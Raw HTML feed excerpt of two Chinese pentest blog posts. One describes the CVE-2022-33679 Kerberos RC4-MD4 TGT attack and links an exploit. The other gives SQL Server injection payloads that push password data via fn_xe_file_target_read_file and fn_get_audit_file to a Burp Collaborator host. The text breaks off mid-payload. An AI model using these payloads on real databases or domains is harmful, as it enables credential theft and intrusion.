&#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">攻击者成功获得加密票据后，AS-REP 数据包中包含一个 40 位长的加密 TGT 会话密钥。使用历史悠久的 RC4-MD4 加密类型，攻击者可以利用其对加密数据包的固定开头的了解来提取 45 个字节的密钥流。</span></p></li><li style="box-sizing: border-box;"><p cid="n16" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">现在，攻击者可以使用此密钥流重新加密并向 KDC 请求 TGT 票证，并使用定制的预身份验证来验证密钥流是否正确并破解以下 40 位 TGT 会话密钥的其余部分一个字节一个字节。这是通过滥用用于 Kerberos 编码的 ASN.1 协议中的两个弱点来实现的，以利用攻击者对预身份验证字段大小的有限控制：</span></p></li><ol class="list-paddingleft-1" start="" cid="n17" mdtype="list" style="padding-left: 30px;list-style-type: lower-alpha;"><li style="box-sizing: border-box;"><p cid="n19" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">KDC 解析器忽略对象末尾的 NUL 终止字符串。这使我们能够在 KerberosTime 对象的末尾添加一个 NUL 字符。这将适用于单字节猜测，但我们仍然需要猜测额外的四个字节。</span></p></li><li style="box-sizing: border-box;"><p cid="n21" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">KDC 解析器不验证编码长度的长度。ASN.1 字符串长度由 1-4 个字节表示，KDC ASN.1 解析器不强制执行最短路径。因此，我们可以根据需要用 1-4 个字节的大小来表示我们的时间戳字符串长度。这意味着我们可以进一步扩大纯文本的长度并将 NUL 字节推到下一个位置并猜测密钥流的下一个字节。</span></p></li></ol><li style="box-sizing: border-box;"><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">最后，攻击者可以通过发送带有加密预认证的 AS-REQ 重新加密时间戳并验证每个猜测，如果加密的预认证日期不正确，则会收到错误消息。如果预认证成功，攻击者能够从密钥流中发现另一个字节，因为每个字节有多达 256 个猜测选项。重复此过程可以获取所有必需的密钥流字节来解密存储在原始票证中的会话密钥</span></p><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">大约1280 个请求后就可以拿到tgt</span></p></li></ol><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">给出的脚本添加了server参数，所以直接根据tgt就去请求对应server的tgs并保存在本地，作者给的脚本是直接给了tgs，想要tgt的话改下脚本输出或者直接用另一个脚本<a href="https://github.com/Blyth0He/CVE-2022-33679" target="_blank">https://github.com/Blyth0He/CVE-2022-33679</a></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" data-type="png" style="height: auto !important;" data-ratio="0.3539967373572594" data-w="613" src="https://wechat2rss.xlab.app/img-proxy/?k=b3fb3d0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPH0fGpHWAE0BLyNLZv8wFtM2HXHdHNV1EphKgK2r67eB0Y1xO95kzXg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">如果对应的账号没有该服务权限则会出现如下报错</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3472" data-s="300,640" data-type="png" data-w="625" style="text-align: center;font-family: monospace;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=34cd2e48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPtypVl6Lib7iaFxWiayNibaUxX2CD8aZ172F0y7NV8KNm3CqUxKiaSbXPMjQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">如果使用未开启不需要预认证的账户去爆破的话，得到的报错结果如下</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.511290322580645" data-s="300,640" data-type="png" data-w="620" style="text-align: center;font-family: monospace;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1de1617e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPP4PpCy4anM45iazyHicAX3M7I3W2WOSKkZ4rlzE0Nloq8XIeoFOd4jhlw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">简单总结下就是有不需预认证的账号，就可以拿到tgt，需要付出的代价是1280次请求可能会触发告警,问题是目前来看。。这个一般也没人开啊（起码我是没碰到过）。。可能我是倒霉蛋吧</span></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" data-type="png" style="text-align: center;font-family: monospace;height: auto !important;" data-ratio="0.24324324324324326" data-w="370" src="https://wechat2rss.xlab.app/img-proxy/?k=3e17ae94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPP6k0pt5ppgSLlwhzHkNSiboict07I8wluOIA9g7OTwKERIkaQeKdaXicaQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">鸡肋。没有不需预认证的账号的话，可以用CVE-2022-33647，中继要求客户端采用rc4-md4去降级加密请求</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.409375" data-s="300,640" data-type="png" data-w="640" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e8dd57e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPK5j32iaXU06QM09Fia0TZ12Pu1TOmxa4wK3WqMAIibRFPQRxgAxGG0svw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">poc被作者删了，等一波</span></p><p cid="n36" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22118380062305296" data-s="300,640" data-type="png" data-w="321" style="text-align: center;font-family: monospace;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=2bf031e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPlXlXf9RB1UWiam8OxY7rLmBeBpPMp5ZEa626JCqE1MJFBmdUmu1sraQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: monospace;">啊啊啊，好菜啊，感觉自己焦虑的一逼……</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b3fb3d0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPH0fGpHWAE0BLyNLZv8wFtM2HXHdHNV1EphKgK2r67eB0Y1xO95kzXg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=34cd2e48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPtypVl6Lib7iaFxWiayNibaUxX2CD8aZ172F0y7NV8KNm3CqUxKiaSbXPMjQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1de1617e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPP4PpCy4anM45iazyHicAX3M7I3W2WOSKkZ4rlzE0Nloq8XIeoFOd4jhlw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3e17ae94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPP6k0pt5ppgSLlwhzHkNSiboict07I8wluOIA9g7OTwKERIkaQeKdaXicaQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e8dd57e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPK5j32iaXU06QM09Fia0TZ12Pu1TOmxa4wK3WqMAIibRFPQRxgAxGG0svw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2bf031e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCdGRDuOblS8gbtrWwibudqPPlXlXf9RB1UWiam8OxY7rLmBeBpPMp5ZEa626JCqE1MJFBmdUmu1sraQ%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483731">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e335f429&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247483731%26idx%3D1%26sn%3Dcbc964a6d21726d9b4fe3680396b6f6b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 09 Nov 2022 23:26:00 +0800</pubDate>
    </item>
    <item>
      <title>SQL SERVER 低权限带外通信及NTLM中继</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247483719&amp;idx=1&amp;sn=bab3539f7a633d4d10322953d9e5a0c3</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2022-10-29 02:12</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=142399ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FkEgicicM5SiaCcyR76k16y35OoDKAXlVJw6TNPKYtQhCwMnOW9zoxGmWic3Zq5bKzcVNlibicuCCPw7pzCSRJhL8BCqQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p cid="n29" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">public非db_owner权限下除了注入找管理员密码外，主要考虑带外通信和ntlm中继，方便打一些大型目标时候绕过cdn找到服务器真实ip段,为后续渗透提供帮助</span></p><h5 cid="n30" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">OPENROWSET</span></h5><pre spellcheck="false" lang="sql" cid="n49" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">OPENROWSET<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>provider_name<span style="box-sizing: border-box;">,</span>provider_string<span style="box-sizing: border-box;">,</span>query_syntax<span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">provider_name </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">An OLE DB provider name.</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">provider_string </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">The OLE DB <span style="box-sizing: border-box;color: rgb(119, 0, 136);">connection</span> string <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> the specified provider.</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">query_syntax </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">A <span style="box-sizing: border-box;color: rgb(119, 0, 136);">query</span> syntax that <span style="box-sizing: border-box;color: rgb(119, 0, 136);">returns</span> a rowset.</span></pre><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">尝试打开一个远程数据库并执行sql查询，这个方法除了使用dns来进行带外通信外，还可以</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">创建一个数据库将受害者的数据导入到创建好的数据库中</strong></span><span md-inline="plain" style="box-sizing: border-box;">，文章见</span></p><p cid="n54" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.anquanke.com/post/id/248896#h2-24" target="_blank">https://www.anquanke.com/post/id/248896#h2-24</a></span></p><p cid="n52" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">也可以用来</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">连接本地数据库在无法闭合的情况下执行堆叠查询</strong></span><span md-inline="plain" style="box-sizing: border-box;">，文章见</span></p><p cid="n56" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://www.secpulse.com/archives/163638.html" target="_blank">https://www.secpulse.com/archives/163638.html</a></span></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">该权限在2005版本以后默认关闭 ，需要执行以下命令打开Ad Hoc Distributed Queries</span></p><pre spellcheck="false" lang="" cid="n41" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> EXEC sp_configure &#39;show advanced options&#39;,1; </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> RECONFIGURE; </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> EXEC sp_configure &#39;Ad Hoc Distributed Queries&#39;,1; </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> RECONFIGURE;</span></pre><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">但是如果碰到和我我一样的低权限public用户，大概只能得到这样的结果</span></p><pre spellcheck="false" lang="sql" cid="n32" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">消息 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">15247</span>，级别 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>，状态 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>，过程 sp_configure，第 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">105</span> 行</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">用户没有执行此操作的权限。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">消息 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">5812</span>，级别 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">14</span>，状态 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>，第 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span> 行</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">您没有运行 RECONFIGURE 语句的权限。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">消息 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">15123</span>，级别 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">16</span>，状态 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>，过程 sp_configure，第 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">62</span> 行</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">配置选项 <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;Ad Hoc Distributed Queries&#39;</span> 不存在，也可能是高级选项。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">消息 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">5812</span>，级别 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">14</span>，状态 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>，第 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4</span> 行</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">您没有运行 RECONFIGURE 语句的权限。</span></pre><h5 cid="n33" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">fn_xe_file_target_read_file, fn_get_audit_file, and  fn_trace_gettable</span></h5><pre spellcheck="false" lang="sql" cid="n63" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">fn_xe_file_target_read_file</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">https<span style="box-sizing: border-box;">:</span>//vuln<span style="box-sizing: border-box;color: rgb(0, 85, 170);">.app</span>/getItem?id<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">and</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">exists</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+*+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>fn_xe_file_target_read_file<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;C:\*.xel&#39;</span><span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;\\&#39;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>pass<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>users<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>id<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem&#39;</span><span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(34, 17, 153);">null</span><span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(34, 17, 153);">null</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">))</span></span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">要求：VIEW <span style="box-sizing: border-box;color: rgb(119, 0, 136);">SERVER</span> STATE权限</span></pre><pre spellcheck="false" lang="sql" cid="n64" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">fn_get_audit_file</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">https<span style="box-sizing: border-box;">:</span>//vuln<span style="box-sizing: border-box;color: rgb(0, 85, 170);">.app</span>/getItem?id<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">exists</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+*+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>fn_get_audit_file<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;\\&#39;</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">%</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>b<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>pass<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span>users<span style="box-sizing: border-box;color: rgb(152, 26, 26);">+</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span><span 